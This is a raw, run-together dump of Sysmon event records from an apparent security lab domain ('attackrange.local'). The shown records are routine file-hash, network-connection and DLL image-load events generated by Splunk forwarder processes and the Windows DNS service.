Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F93AE374B5DA415AA69FDD698C9C8977,SHA256=7C3BAD6637BFADE94D78FB10859AE54DB71F7DB807089D7591F2C99D68C4AB76,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:09.189{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3CB14131EDEB3B22EE799D7B9167D51,SHA256=F4BBCADDB1B81B861DA70A61F2B8444A8314D1E7318DD1D2FED60539FF56A48B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:10.306{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=578E54EF3F009510D7AABE5FD0CC21C9,SHA256=FFB2C91CF89325FD9C290B822F3AB45D5EFAFF24EAE9E3FD0260CD9C3CC21BE7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000054652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:11.325{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=695FF2E4DCD789CA0C665809D0602098,SHA256=8E90CBE84B82F89DB4403AD82EC100E278B7E708532A6F544B967405F56776D8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017567Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:11.039{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E4CCF8E44FE3849901C38C5FAEE03676,SHA256=EFF70AADBAB1825430FA6E4ED936226EDE32AD7BBC80DBC568BFC6A04E0AD2DC,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:12.340{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=983465496EBD1CAD0ADEBE8123B5ED79,SHA256=51BFB5A791ED8188D7E9B0397F92AA16CBA804DED0CC665B7D499EC866C331BB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000017569Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:11.548{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50367-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000017568Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:12.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4817C885E9CD10B08CEE9EA052935231,SHA256=590137CBF2DDD2E72C3584F106F1B1387BE6E966975EF547E5BB6ECB51893543,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:13.386{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A36F69B683730849857B0BD559A4AAF8,SHA256=64911A25DC20FF6073F6A255728F8B6779A5402CBAB6731BBB60F1A54E65158E,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017570Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:13.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F305F4DDF9470E5FE68123CC5FC16C7C,SHA256=7D3B8887713F016676C0DC0BA959F45365CD25FBF66000A8CAFF54065E2F1B83,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:11.638{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.14win-dc-387.attackrange.local63905- 354300x800000000000000054656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:11.637{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54620- 23542300x800000000000000054655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:14.392{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0AADDFB98A7FE4BFFC4CA3F68BAF6087,SHA256=C49C9306FA72BC496CFBE9F47261E52D1690043B0926C4B4B3B8483DB9A428CA,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017571Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:14.059{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4E004C3A519A46498D606B0E46FF7A15,SHA256=F253EA2E3589F6B8C440B1D9B4D4EE2F23A2F0FB0BA81960B449BA56EA2FA097,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000054659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:12.432{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local63127-false10.0.1.12-8000- 23542300x800000000000000054658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:15.411{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=C96D3318C8CE2F5238469EDC2B36F7E8,SHA256=93CBA8390B735062995FE5651775C694E8ECFBC4A0FFFCEC7A161E2BD0B64F27,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017572Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:15.075{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=0EC13D5EADBF791B1D2AE1573D763F4E,SHA256=8BDD65F22047186C27C1F484AD95CF074D9EDAC25E4183EBEBBCD07B20A69D68,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000054660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:16.475{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=5C0B07FA749DA0759E7FDCC125DD31EE,SHA256=237294FA4F2DB3FFF317D9CB891FDCA148BC6BEE177F22EAEC61CD883F6FCC12,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017573Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:05:16.075{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F57CEBC79C990E28DC1514B622B08ECB,SHA256=2E2634B8FE7B91F83BDACAE500C2EF77242C60544219D713A99ED76E23685823,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000054765Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000054764Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000054763Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000054762Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000054761Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000054760Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000054759Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000054758Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.927{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000054757Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sspicli.dll10.0.14393.2580 (rs1_release_inmarket.181009-1745)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsspicli.dllMD5=5061339CE61C0B32DB8F51A95E3B2422,SHA256=60558CA374334D4C6BBAD475921538C14A9FF3422893348A0503C1F33015FD25,IMPHASH=4B1C9487A6420C18F688F0EC5BEB6F33trueMicrosoft WindowsValid 734700x800000000000000054756Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000054755Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000054754Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000054753Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000054752Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000054751Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000054750Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000054749Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000054748Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000054747Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000054746Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000054745Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000054744Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000054743Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000054742Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000054741Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000054740Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000054739Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000054738Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000054737Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000054736Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000054735Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:05:17.911{7BD73061-742D-613B-8F0B-00000000F001}6484C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface 